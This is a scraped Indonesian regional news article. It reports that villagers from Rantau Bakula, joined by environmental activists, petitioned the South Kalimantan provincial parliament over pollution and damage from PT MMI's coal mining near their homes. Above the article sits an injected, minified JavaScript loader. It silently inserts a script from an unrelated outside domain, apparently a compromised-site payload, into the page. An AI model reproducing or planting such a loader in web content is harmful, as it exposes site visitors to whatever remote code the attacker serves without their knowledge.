(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah warga dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar mendatangi kantor Dewan Perwakilan Rakyat Daerah (DPRD) Provinsi Kalimantan Selatan (Kalsel), Selasa (17/12/2024) siang.
Menempuh jarak sekitar 90 kilometer dari kampung mereka, warga mendatangi Rumah Banjar -sebutan kantor DPRD Kalsel- di Jalan Lambung Mangkurat, Kota Banjarmasin dengan membawa sepucuk surat.
Surat dengan tujuan Ketua DPRD Provinsi Kalsel mengadukan terkait aktivitas pertambangan batu bara PT MMI di Desa Rantau Bakula.
Tiga orang Mariadi, Pariyun, dan Rudy Hartono didampingi aktivis lingkungan dari Wahana Lingkungan Hidup (Walhi) Kalsel dan Yayasan Cakrawala Hijau Indonesia (YCHI).
Baca juga: KPU Banjarbaru Tak Hadir Sidang Gugatan di PN Banjarbaru
Perwakilan masyarakat Rantau Bakula, Rudy Hartono mengatakan, tujuan mereka mendatangi Rumah Banjar ingin bertemu dengan Anggota DPRD Kalsel untuk menyampaikan aspirasi masyarakat.
Akan tetapi, karena tak ada wakil rakyat di kantor yang bisa ditemui, pihaknya hanya meninggalkan sepucuk surat yang ditujukan kepada Ketua DPRD Kalsel. Mereka berharap ditindaklanjuti dan bisa berdialog secara langsung menyampaikan keluhan.
Rudy Hartno menjelaskan, aktivitas pertambangan yang ada di desa mereka selama ini berdampak terhadap kerusakan dan pencemaran lingkungan.
Baca juga: Resmi Mulai Berlaku, Ini Tarif Baru Pembuatan Paspor
Warga Rantau Bakula ini menyebutkan salah satu dampak yang dirasakan masyarakat adalah air bersih yang dulunya mudah didapat untuk keperluan sehari-hari, saat ini sudah tercemar. Bahkan warga terpaksa harus membeli air galon setiap harinya.
Kemudian tanaman seperti pohon karet milik warga kini tak lagi produktif.
Untuk itu, pihaknya meminta agar DPRD Kalsel memperhatikan nasib warga Rantau Bakula dengan mengevaluasi aktivitas pertambangan di wilayah mereka.
“Kami memohon sama DPRD Kalsel supaya menindaklanjuti, tolong lah kami rakyat kecil yang di sana, area pertambangan dekat sekali dengan rumah-rumah kami,” kata warga Rantau Bakula ini.
Baca juga: Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?
Anggota Walhi Kalsel, Rudy Fahrianor mengungkapkan surat yang diserahkan mereka ke Sekretariat DPRD Kalsel berisi permintaan untuk segera melakukan tindakan dan evaluasi aktivitas tambang PT MMI.
Sebab menurutnya banyak kerusakan alam dan gangguan sosial yang dirasakan masyarakat Rantau Bakula selama ini.
“Bahkan tambang kini tidak sampai 50 meter dari rumah warga, makanya anggota dewan diharapkan dapat mengevaluasi izin yang ada di desa mereka,” pungkasnya. (Kanlkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More
KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) mendukung penuh langkah Pemerintah dalam menyalurkan paket stimulus ekonomi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tak hanya digugat di Mahkamah Konstitusi (MK), Komisi Pemilihan Umum (KPU) Kota… Read More
This website uses cookies.